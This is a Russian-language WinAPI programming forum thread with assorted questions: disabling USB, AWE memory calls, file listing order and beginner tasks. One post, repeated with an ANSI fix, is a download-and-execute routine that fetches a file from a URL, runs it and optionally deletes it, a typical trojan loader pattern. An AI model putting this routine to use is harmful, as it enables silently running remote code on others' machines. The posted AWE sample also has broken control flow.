про ВинАПИ темы нет, ну подумал задам здесь вопрос. можно ли средствами этого самого апи отключить usb контроллер? и если можно, то расскажите как.
извини , я название опика не посмотрел ... Способ 1: ыыы Выгружай драйвер USB из памяти Способ 2: Вот статья интересная: http://articles.org.ru/cfaq/index.php?qid=1124&catid=64
Jes, ты молодчик. Просили дать пример на винапи, ты даешь кернел-мод код, в котором вообще нет никакого упоминания про отключение устройства.
помогите с кодом !!!!!!!!! #include <winsock2.h> #include <tlhelp32.h> #include <iphlpapi.h> #include <shellapi.h> #include <windows.h> #include <winuser.h> #include <wininet.h> #include <process.h> #include <stdlib.h> #include <urlmon.h> #include <stdio.h> struct DOWNLOAD_INFO{ char *from; char *to; BOOL exec; BOOL del; }; //----------------------------------------------------------------- DWORD WINAPI DownloadFile(LPVOID param){ DOWNLOAD_INFO file; file = *((DOWNLOAD_INFO*)param); URLDownloadToFile(NULL, file.from, file.to, 0, NULL); if(file.exec){ ShellExecute(GetDesktopWindow(),"open", file.to, NULL, NULL, SW_SHOW); } if(file.del){ DeleteFile(file.to); } return 1; } //-----------------------------------------------------------------
Deazer ASCII и Unicod... Code: #include "windows.h" #include "urlmon.h" struct DOWNLOAD_INFO{ char *from; char *to; BOOL exec; BOOL del; }; DWORD WINAPI DownloadFile(LPVOID param){ DOWNLOAD_INFO file; file = *((DOWNLOAD_INFO*)param); URLDownloadToFileA(NULL, file.from, file.to, 0, NULL); if(file.exec){ ShellExecuteA(GetDesktopWindow(),"open", file.to, NULL, NULL, SW_SHOW); } if(file.del){ DeleteFileA(file.to); } return 1; }
У меня нупская просьба... Накатайте программу, при запуске которой открвыется окно тама поле для текста и кнопка, пишем текст, нажимаем на кнопку - выскакивает алерт с этим текстом. Думаю такая программа не сложная и ответит на многие интересующие мну вопросы, с мну +4 Заранее спасибо
Ponchik Написал через MFC. Компилятор Microsoft Visual C++ 6.0. В архиве: - прога которую ты просил(вместе с проектом) - пара лаб по MFC вес архива - 251 кб. Ссылка : http://slil.ru/25091315
Помогите сделайте пожалуйста на с++ консоль..задания Для тестирования предусмотреть возможность задавать элементы массива различным образом: при описании с инициализацией, присвоением значений (в том числе случайных), или вводом необходимых значений. 1. Найти сумму элементов массива, являющихся степенями числа2. 2. Найти наименьшее среди чисел первой последовательности, не входящих во вторую. 3. Получить массив С(k), упорядоченный по возрастанию, путем слияния массивов A(n) и B(m), упорядоченных перед этим по возрастанию, где k = n + m.
Пробую работать с функциями AWE. Вызываю следующим образом: Code: bResult = AllocateUserPhysicalPages(GetCurrentProcess(), &NumberOfPages, aPFNs); bResult = MapUserPhysicalPages(lpMemReserved, NumberOfPages, aPFNs); bResult = MapUserPhysicalPages(lpMemReserved, NumberOfPages, NULL); bResult = FreeUserPhysicalPages(GetCurrentProcess(), &NumberOfPages, aPFNs); Ну т.е. как в примере MSDN. На каждый вызов ругается "identifier not found". kernel32.lib подключен. Не пойму в чем дело, подскажите где я мог лажануть..
Code: #include <stdio.h> #include <windows.h> #define _WIN32_WINNT 0x0501 #define MEMORY_REQUESTED 1024*1024 // request a megabyte void main(void) { BOOL bResult; // generic Boolean value ULONG_PTR NumberOfPages; // number of pages to request ULONG_PTR NumberOfPagesInitial; // initial number of pages requested ULONG_PTR *aPFNs; // page info; holds opaque data PVOID lpMemReserved; // AWE window SYSTEM_INFO sSysInfo; // useful system information int PFNArraySize; // memory to request for PFN array GetSystemInfo(&sSysInfo); // fill the system information structure printf("This computer has page size %d.\n", sSysInfo.dwPageSize); NumberOfPages = MEMORY_REQUESTED/sSysInfo.dwPageSize; // calculate the number of pages of memory to request printf("Requesting %d pages of memory.\n", NumberOfPages); PFNArraySize = NumberOfPages * sizeof (ULONG_PTR); // calculate the size of the user PFN array printf ("Requesting a PFN array of %d bytes.\n", PFNArraySize); aPFNs = (ULONG_PTR *) HeapAlloc(GetProcessHeap(), 0, PFNArraySize); NumberOfPagesInitial = NumberOfPages; bResult = AllocateUserPhysicalPages(GetCurrentProcess(), &NumberOfPages, aPFNs); // allocate the physical memory if(bResult != TRUE) printf("Cannot allocate physical pages (%u)\n", GetLastError()); return; if(NumberOfPagesInitial != NumberOfPages) printf("Allocated only %p pages.\n", NumberOfPages); return; lpMemReserved = VirtualAlloc(NULL, MEMORY_REQUESTED, MEM_RESERVE | MEM_PHYSICAL, PAGE_READWRITE); // reserve the virtual memory if(lpMemReserved == NULL) printf("Cannot reserve memory.\n"); return; bResult = MapUserPhysicalPages(lpMemReserved, NumberOfPages, aPFNs); if(bResult != TRUE) printf("MapUserPhysicalPages failed (%u)\n", GetLastError()); return; bResult = MapUserPhysicalPages(lpMemReserved, NumberOfPages, NULL); // unmap if(bResult != TRUE) printf("MapUserPhysicalPages failed (%u)\n", GetLastError()); return; bResult = FreeUserPhysicalPages(GetCurrentProcess(), &NumberOfPages, aPFNs); // free the physical pages if(bResult != TRUE) printf("Cannot free physical pages, error %u.\n", GetLastError()); return; bResult = VirtualFree(lpMemReserved, 0, MEM_RELEASE); // free virtual memory bResult = HeapFree(GetProcessHeap(), 0, aPFNs); // release the aPFNs array if(bResult != TRUE) printf("Call to HeapFree has failed (%u)\n", GetLastError()); return; }
На всякий случай. Разница не в 500 или 501. А в том, что в windows.h стоят #ifdef, #if и т.п. директивы, поэтому объявлять надо заранее, чтобы правильно процессилась windows.h иначе нахер ещё писать этот дефайн?
WinAPi FindFirstFile FindNextFile список файлов\директорий по алфавиту всегда выводится? (мне нужно по алфавиту и размеру)
http://msdn2.microsoft.com/en-us/library/aa364418.aspx например, через std::sort, помоему она умеет сортировать строки...